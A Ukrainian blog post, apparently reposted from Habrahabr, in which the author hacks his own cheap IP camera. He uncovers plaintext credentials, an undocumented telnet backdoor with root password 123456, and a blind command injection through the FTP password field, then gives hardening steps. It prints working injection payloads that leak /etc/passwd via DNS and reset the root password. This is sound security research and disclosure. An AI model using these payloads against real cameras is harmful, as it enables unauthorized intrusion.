Як я зламав свою ip-камеру і знайшов там бекдор

Час настав. Я купив собі друге IoT пристрій у вигляді дешевої ip-камери. Мої очікування відносяться до безпеки цієї камери були не високі, це була найдешевша камера з усіх. Але вона змогла мене здивувати.


Я відкрив коробку, і перше, що побачив — це пароль з 4 цифр. Це пароль користувача «Адміністратор», для налаштування пристрою. Дивіться відео нижче. Більшість людей не дбають про те, щоб змінити цей пароль.

Очевидно, що ця камера може спілкуватися по Ethernet кабелю або Wi-Fi. Порадувала підтримка WPA2, однак люди схильні залишити Wi-Fi незахищеним.

Перехопивши трафік між камерою і десктопних додатком, легко помітити, що дані передаються через HTTP 81 порт. Просто геніальне управління сеансом. Ім'я користувача і пароль передаються в кожному GET запиті, без шифрування. Хоч Wi-Fi був захищений.

На щастя десктопное додаток зберігає для вас пароль у відкритому вигляді у файлі:

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

Ця чудова камера звертається до хмари по UDP. Сервери знаходяться в Гонконгу та Китаї. Якщо вам инетересно, навіщо ip-камері підключення до хмари, то все просто. Ця камера вміє взаємодіяти з мобільними додатками для Android і IOS. І користувачі підключаються до хмари, щоб не морочитися з налаштуванням портів і DNS. Супер.

Натравим nmap на цей пристрій.

PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
81/tcp open http GoAhead-Webs httpd
| http-аутентифікації: 
| HTTP/1.1 401 Unauthorized
|_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open tcpwrapped

Визначився HTTP сервер Telnet сервер на BusyBox, і якийсь порт 8600. У 27-сторінковому керівництві не говориться ні слова про Telnet. Як нам назвати цей порт? Налагоджувальний порт? Або бекдор порт? Подивимося. Я вручну спробував кілька паролів для користувача root, але ні один з них не спрацював. Я рушив далі.

Сліпа ін'єкція подвійний команди

IP-камера може завантажувати знімки на FTP сервер. Однак ця опція вимагає попередньої установки. Коли я її налаштував, виявилося, що це не працює. Ім'я користувача і пароль від сервера були не вірними. Після деякої налагодження з'ясувалося, проблема була в тому, що в мене пароль містив символ $. І я почав копати. Я був впевнений, що ця уразливість дозволяє вставляти команди, але не знав як її використовувати. Були численні проблеми, що ускладнюють експлуатацію. Я називаю цю уразливість подвійний ін'єкцією сліпий команди. По перше ми не бачимо висновок цієї команди, а по-друге, її виконання відбувається в іншому потоці. Таким чином використання sleep ні до чого не призводить.

Але третя проблема була гірше всіх — це обмеження 32 символу. Я міг відправити деяку інформацію через DNS. І з допомогою наступних команд, я міг отримати поточний каталог:

$(ping%20-c%202%20%60pwd%60)

Або та ж команда в читаному вигляді:

$(ping -c 2 `pwd`)

але мені не вдавалося витягнути інформацію з /etc/passwd. Я спробував виконати $(reboot), але це була дуже погана ідея, і камера пішла в нескінченний ребут, а кнопки апаратного скидання не працювали. Веселі часи.

Нижче представлені мої відчайдушні спроби отримати доступ до оболонки. Спасибі EQ за його допомогу в процесі нічного злому. І за його великі ідеї.

$(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`) ;leak it via DNS

Після того, як я нарешті зламав камеру, виникла наступна проблема. Там не було команд head, tr, less, more або cut. Небуло nc і навіть bash'а не було…

Я навіть намагався використовувати commix, відео на Youtube він подавав великі надії. Commix схожий на sqlmap але тільки для ін'єкцій команд. Однак цей випадок, для нього був дуже складний.



Після численних невдалих спроб, я нарешті знайшов пароль. Сезам відкрийся.

$(echo 'root:passwd'|chpasswd)

Логинимся через telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Вау Вау :) Я швидко знайшов місце, куди инъектилась моя команда:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Всякий раз, коли ми вводимо команду в полі пароля, вона копіюється в цей скрипт, який потім відпрацьовується інтерпретатором. Після цього я злякався, що забув зберегти вміст /etc/passwd, так як збирався зламати ще й дефолтний пароль на telnet. На щастя, ребут відновив вихідні дані.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

На жаль запускати старий добрий John The Ripper не довелося, так як гугл підказав, що це хеш пароля 123456. Це набагато безпечніше ніж пароль багажу.



Пора резюмувати те, що у нас є. Існує недокументовані telnet'івський порт IP-камери, пароль: 123456 для користувача root, немає GUI, щоб змінити цей пароль, а якщо змінити його з допомогою консолі, він повернеться після наступного перезавантаження. Я думаю, що це безпечно, щоб сказати, що це бекдор.

З допомогою root доступу до консолі ми можемо отримати пароль FTP-сервера, сервера SMTP (для сповіщень), пароль WiFi (хоча ми, ймовірно, його вже маємо), доступ до адміністративного інтерфейсу камери, або просто можемо змінити камеру як ми хочемо. На щастя, найчастіше цей порт Telnet знаходиться за NAT або брандмауером, тому він не доступний з інтернету. Але завжди є виключення. На щастя, UPNP не дозволяє налаштувати порт Telnet, щоб він був доступний з Інтернету, тільки камера HTTP порт 81. Вас захищає тільки той пароль з 4 цифр, що стоїть за умовчанням.

І останнє, все працює від root'а, що не дивно.

Мій список змін

Я додав ці рядки в кінець файлу /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Крім того, якщо ви хочете, ви можете відключити службу телнет закомментировав Telnetd в /system/init/ipcam.sh.

Якщо хочете, вимкніть підключення до хмари (ви не мсожете використовувати мобільні додатки), помістіть наступну команду в початок файлу /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

Ви можете використовувати OpenVPN для підключення до домашньої мережі, щоб отримати доступ до веб-інтерфейсу камери. Він працює з Android, IOS, і будь десктопної ОС.

99% людей, які купують ці IP-камери думають, що вони будуть у безпеці з нею. Тепер я розумію, наклейку, яка поставляється разом з IP-камерою.



Так що, коли Ви в наступному епізоді Mr Robot побачите як хтось підключився до ip-камері через Telnet з root:123456, ви будете знати, що це сумна реальність.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.